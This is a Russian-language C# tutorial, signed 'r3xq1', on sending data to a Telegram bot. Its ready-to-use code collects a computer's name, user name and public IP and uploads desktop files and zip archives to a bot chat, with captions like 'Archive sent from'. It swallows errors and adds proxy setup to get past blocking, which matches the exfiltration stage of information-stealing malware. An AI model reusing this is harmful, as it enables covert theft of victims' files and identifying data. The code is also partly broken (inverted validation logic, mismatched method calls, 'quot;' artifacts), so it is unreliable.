Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.
У нас есть API сайт телеграмм:
В котором мы можем найти все данные для отправки запросов и получения данных.
Методы для отправки можете найти тут
Пример вызова методов:
Используется System.Net.Http
namespace TGbotEx { using System; using System.IO; using System.Net; using System.Threading.Tasks;
internal static class Program { private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); [STAThread] public static async Task Main() {
string textMessage = string.Concat( "👤 Компьютер: ", Environment.MachineName, "\n 🏴 Пользователь: ", Environment.UserName, "\n 🌐 IP: ", GetIP("https://api.ipify.org")); string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false); Console.Read(); } // Метод для получения IP адреса private static string GetIP(string url) { string result = string.Empty; try { var Link = new Uri(url); using (var client = new WebClient()) { result = client.DownloadString(Link); } } catch { } return result; } } }
Для отправки zip файла можно использовать ещё такой способ: Кликни сюда
Использовать метод для отправки архива можно так:
string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
var CaptionBuild = new StringBuilder(); CaptionBuild.AppendLine(quot;⚡️ Архив прислан от: {Environment.UserName}"); CaptionBuild.AppendLine(quot;👤 Компьютер: {Environment.MachineName}"); CaptionBuild.AppendLine(quot;🏴 Пользователь: {Environment.UserName}"); CaptionBuild.AppendLine(quot;🌐 IP: {GetIP("https://api.ipify.org")}"); CaptionBuild.AppendLine(""); CaptionBuild.AppendLine("Developed by r3xq1");
SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);
Все методы прокомментированы, думаю объяснять ничего особо не нужно.
Теперь напишем методы с использованием библиотеки Telegram.Bot.dll
Методы для отправки можете найти тут
private static TelegramBotClient bot;
Для отправки файл(а)ов:
/// <summary> /// Асинхронный метод для отправки файла в канал телеграмма /// </summary> /// <param name="token">Токен бота</param> /// <param name="chatId">ID чата</param> /// <param name="filename">Полный путь к файлу</param> /// <returns></returns> public static async Task AsyncSendFile(string token, int? chatId, string filename) { if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null { try { ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; bot = new TelegramBotClient(token); // using (var stream = System.IO.File.Open(filename, FileMode.Open)) using (FileStream stream = System.IO.File.OpenRead(filename)) { string ssf = Path.GetFileName(filename); var Iof = new InputOnlineFile(stream, ssf); string fromsend = quot;Файл отправлен от: {Environment.UserName}"; Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend); } } catch (Exception ex) { System.IO.File.WriteAllText("AsyncSendFile_Error.txt", quot;{ex.Message}{Environment.NewLine}"); } }}
Для отправки сообщения:
/// <summary> /// Асинхронный метод для отправки текста в канал телеграмма /// </summary> /// <param name="token">Токен бота</param> /// <param name="chatId">ID чата</param> /// <param name="textMessage">Сообщение для отправки</param> /// <returns></returns> public static async Task AsyncSendText(string token, int? chatId, string textMessage) { if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage)) { try { ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; bot = new TelegramBotClient(token); Message result = await bot?.SendTextMessageAsync(chatId, textMessage); } catch (Exception ex) { System.IO.File.WriteAllText("AsyncSendText_Error.txt", quot;{ex.Message}{Environment.NewLine}"); } } }
Используется так:
await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false); await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false); TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip
ProxyServer - Подключаем прокси
Немного о том, что делать если Роскомнадзор блокирует отправку/получения данных из/в телеграмм?!
В таком случае придётся использовать VPN ( на пример: NordVPN )
Или подключать Proxy к самому TelegramBot'у.
Вот пример как подключить прокси к боту:
Для Телеграмм нужно использовать Socks5 прокси от MihaZupan
P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:
Выберем подходящий проксик по этой ссылке.
Теперь подключаем в коде:
var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort); proxy.ResolveHostnamesLocally = true; Bot = new TelegramBotClient(BotToken, proxy);
или так
var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password); client.Proxy = proxy;
На этом всё!
Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад
BTC: 1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH
По всем вопросами пишите мне в:
- Telegram: @r3xq1 ( остерегайтесь фейков )
- Jabber: [email protected]